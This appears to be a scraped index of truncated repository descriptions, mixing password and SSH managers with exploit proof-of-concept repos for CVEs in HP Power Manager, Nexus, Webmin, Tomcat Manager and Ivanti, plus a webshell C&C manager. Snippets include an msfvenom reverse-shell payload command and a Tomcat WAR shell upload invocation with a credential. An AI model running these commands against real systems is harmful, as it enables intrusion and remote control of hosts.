pmanager

Pmanager Demostración Descripción Almacena y recupera tus contraseñas desde una base de datos local y segura. Verifica si tus contraseñas han sido filtradas anteriormente para evitar ataques de reutilización dirigida de contraseñas. ¿Por qué desarrollar otro gestor de contraseñas? Este proyecto...

BlackLotus

BlackLotus BlackLotus aka CVE-2023-24932 remediation scripts for Intune, ConfigMgr, and generic ad-hoc use. Blog post: https://ajf.one/blacklotus General Notes These remediation scripts do NOT initiate any reboots. These are designed to be run "over time", and eventually the device will report as...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 exploit inspired by https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 STEP 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

hopgoblin

hopgoblin hopgoblin is a scanner for Adobe Experience Manager AEM instances. It automates a handful of checks that we frequently perform manually during security assessments. Features Detects exposed QueryBuilder endpoints: /bin/querybuilder.json /bin/querybuilder.feed Abuses QueryBuilder to:...

onionjuggler

OnionJuggler Feature-rich onion service manager for UNIX-like operating systems written in POSIX compliant shellscript OnionJuggler is a minimal requirement, portable collection of scripts and documentation to help the service operator juggle manage his onions. WARNING:do not trust this repo yet,...

CVE-2019-13498

CVE-2019-13498 Exploit Title: MITM - Missing HSTS causing credential theft and content manipulation Date: 07/10/2019 Exploit Author: Furqan Khan Vendor Homepage: https://www.oneidentity.com/ Software Link: https://www.oneidentity.com/products/cloud-access-manager/ Version: 8.1.3 Tested on: Kali...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager RCE Nexus Repository Manager 3 Remote Code Execution without authentication nexus 关于命令回显： functionx, y, z, c, integer, defineClass c=1.class.forName'java.lang.Character'; integer=1.class; x='...

sn0int

sn0int sn0int pronunciado /snoɪnt/ es un framework OSINT semiautomático y un gestor de paquetes. Es utilizado por profesionales de seguridad TI, cazadores de recompensas, agencias de aplicación de la ley y en capacitaciones de concientización en seguridad para recopilar inteligencia sobre un...

CVE-2019-8978

CVE-2019-8978 Improper Authentication CWE-287 in Ellucian Banner Web Tailor and Banner Enterprise Identity Services Author: Katie Mulliken [email protected] Thanks to: Carnegie Mellon University CERT Coordination Center Information Date Found: Dec. 17, 2018 Vendor: Ellucian Company L.P. Vend...

PoC

PoC Repo for proof of concept exploits and tools. BMCRSCDRCE Unauthenticated remote command execution exploit for BMC Server Automation's RSCD agent. The exploit works against servers affected by CVE-2016-1542 detected by Nessus. This is now a Metasploit module, see...

Webmin-CVE-2022-0824-revshell

Webmin-CVE-2022-0824-revshell Vulnerability Description Webmin 1.984 and below - File Manager privilege exploit CVE-2022-0824 and CVE-2022-0829 Less privileged Webmin users who do not have any File Manager module restrictions configured can access files with root privileges, if using the default...

quasibot

quasiBot quasiBot 0.3 - Read Me 07.08.14 Agenda QuasiBot is a complex webshell manager written in PHP, which operate on web-based backdoors implemented by user himself. Using prepared php backdoors, quasiBot will work as C&C trying to communicate with each backdoor. Tool goes beyond average...

CVE-2020-10204

CVE-2020-10204 CVE-2020-10204 Remote Command Execution Script More script files at: https://github.com/zhzyker/exphub Readme +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + +...

CVE-2026-25604-PoC

CVE-2026-25604 PoC Host Header Injection leading to SAML authentication bypass in Apache Airflow's AWS Auth Manager An attacker can inject a malicious Host header into the SAML login flow, causing the Assertion Consumer Service ACS URL to point to an attacker-controlled server. This allows the...

CVE-2024-29847

CVE-2024-29847 PoC for Ivanti Endpoint Manager AgentPortal Deserialization of Untrusted Data Remote Code Execution Vulnerability CVE-2024-29847 A root cause analysis of the vulnerability can be found on my blog: https://summoning.team/blog/ivanti-epm-CVE-2024-29847-deserialization-RCE/ Usage...

aem-xss

Badges License MIT Installation 1. Install Python3 and pip Instructions Here If you can't figure this out, you shouldn't really be using this Install via pip pip install aem-xss Run bellow command to check aem-xss -h Configurations 2. We integrated with the Telegram API to receive instant...

warsend

WARSend Apache Tomcat Manager API WAR Shell Upload Prerequisites Credentials Text API Access to Tomcat Manager $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |//...

easyssh

EasySSH El gestor de conexiones SSH para hacer tu vida más fácil. ¡Buscamos mantenedores! Un gestor completo, eficiente y fácil de usar. Crea y edita conexiones, grupos, personaliza la terminal, con múltiples instancias de la misma conexión. Características Gestionar conexiones y grupos...

CVE-2026-1937

🔴 Vulnerability Overview CVE-2026-1937 — Missing Authorization → Arbitrary Options Update → Privilege Escalation Field| Details ---|--- CVE ID| CVE-2026-1937 Severity| HIGH — CVSS v3.1 Score: 7.2 Vector| CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CNA| Wordfence Researcher| Daniel Basta whizzu —...

CVE-2009-3036

CVE-2009-3036 SpeeDr00t@Black Falcon bid38241 Symantec IM Manager Console HTML Injection Vulnerability info discussion exploit solution references Bugtraq ID: | 38241 ---|--- Class: | Input Validation Error CVE: | CVE-2009-3036 Remote: | Yes Local: | No Published: | Feb 18 2010 12:00AM Updated: |...